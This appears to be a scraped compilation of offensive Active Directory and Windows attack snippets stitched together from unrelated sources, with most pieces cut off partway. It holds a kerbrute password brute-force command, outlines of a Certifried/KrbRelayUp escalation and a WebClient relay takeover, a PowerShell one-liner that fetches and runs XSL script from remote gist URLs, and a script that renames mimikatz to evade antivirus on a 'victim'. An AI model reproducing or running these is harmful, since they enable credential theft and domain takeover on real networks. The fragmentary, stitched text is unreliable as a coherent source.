S3cur3Th1sSh1t

using System;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.CompilerServices;
using System.Net;
using System.Reflection;
using System.Runtime.InteropServices;
namespace Test
{
    // CCOB IS THE GOAT

S3cur3Th1sSh1t

Certifried combined with KrbRelayUp

Certifried (CVE-2022-26923) gives Domain Admin from non-privileged user with the requirement adding computer accounts or owning a computer account. Kerberos Relay targeting LDAP and Shadow Credentials gives a non-privileged domain user on a domain-joined machine local admin access on (aka owning) the machine. Combination of these two: non-privileged domain user escalating to Domain Admin without the requirement adding/owning computer accounts.

The attack below uses only Windows (no Linux tools interacting with the Domain), simulating a real-world attack scenario.

Prerequisites:

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Kerberos cheatsheet

Bruteforcing

With kerbrute.py:

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module:

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Overview

In the default configuration of Active Directory, it is possible to remotely take over Workstations (Windows 7/10/11) and possibly servers (if Desktop Experience is installed) when their WebClient service is running. This is accomplished in short by;

• Triggering machine authentication over HTTP via either MS-RPRN or MS-EFSRPC (as demonstrated by @tifkin_). This requires a set of credentials for the RPC call.
• Relaying that machine authentication to LDAPS for configuring RBCD
• RBCD takeover

The caveat to this is that the WebClient service does not automatically start at boot. However, if the WebClient service has been triggered to start on a workstation (for example, via some SharePoint interactions), you can remotely take over that system. In addition, there are several ways to coerce the WebClient service to start remotely which I cover in a section below.

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# import the necessary toolsets
Import-Module .\powermad.ps1
Import-Module .\powerview.ps1

# we are TESTLAB\attacker, who has GenericWrite rights over the primary$ computer account
whoami

# the target computer object we're taking over
$TargetComputer = "primary.testlab.local"

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##############################################################################
### Powershell Xml/Xsl Assembly "Fetch & Execute"
### [https://twitter.com/bohops/status/966172175555284992]

$s=New-Object System.Xml.Xsl.XsltSettings;$r=New-Object System.Xml.XmlUrlResolver;$s.EnableScript=1;$x=New-Object System.Xml.Xsl.XslCompiledTransform;$x.Load('https://gist.githubusercontent.com/bohops/ee9e2d7bdd606c264a0c6599b0146599/raw/f8245f99992eff00eb5f0d5738dfbf0937daf5e4/xsl-notepad.xsl',$s,$r);$x.Transform('https://gist.githubusercontent.com/bohops/ee9e2d7bdd606c264a0c6599b0146599/raw/f8245f99992eff00eb5f0d5738dfbf0937daf5e4/xsl-notepad.xml','z');del z;

##############################################################################
### Powershell VBScript Assembly SCT "Fetch & Execute"
### [https://twitter.com/bohops/status/965670898379476993]

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# This script downloads and slightly "obfuscates" the mimikatz project.
# Most AV solutions block mimikatz based on certain keywords in the binary like "mimikatz", "gentilkiwi", "benjamin@gentilkiwi.com" ..., 
# so removing them from the project before compiling gets us past most of the AV solutions.
# We can even go further and change some functionality keywords like "sekurlsa", "logonpasswords", "lsadump", "minidump", "pth" ....,
# but this needs adapting to the doc, so it has not been done, try it if your victim's AV still detects mimikatz after this program.

git clone https://github.com/gentilkiwi/mimikatz.git windows
mv windows/mimikatz windows/candycrush
find windows/ -type f -print0 | xargs -0 sed -i 's/mimikatz/candycrush/g'
find windows/ -type f -print0 | xargs -0 sed -i 's/MIMIKATZ/CANDYCRUSH/g'

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# PowerView's last major overhaul is detailed here: http://www.harmj0y.net/blog/powershell/make-powerview-great-again/
#   tricks for the 'old' PowerView are at https://gist.github.com/HarmJ0y/3328d954607d71362e3c

# the most up-to-date version of PowerView will always be in the dev branch of PowerSploit:
#   https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1

# New function naming schema:
#   Verbs:
#       Get : retrieve full raw data sets
#       Find : ‘find’ specific data entries in a data set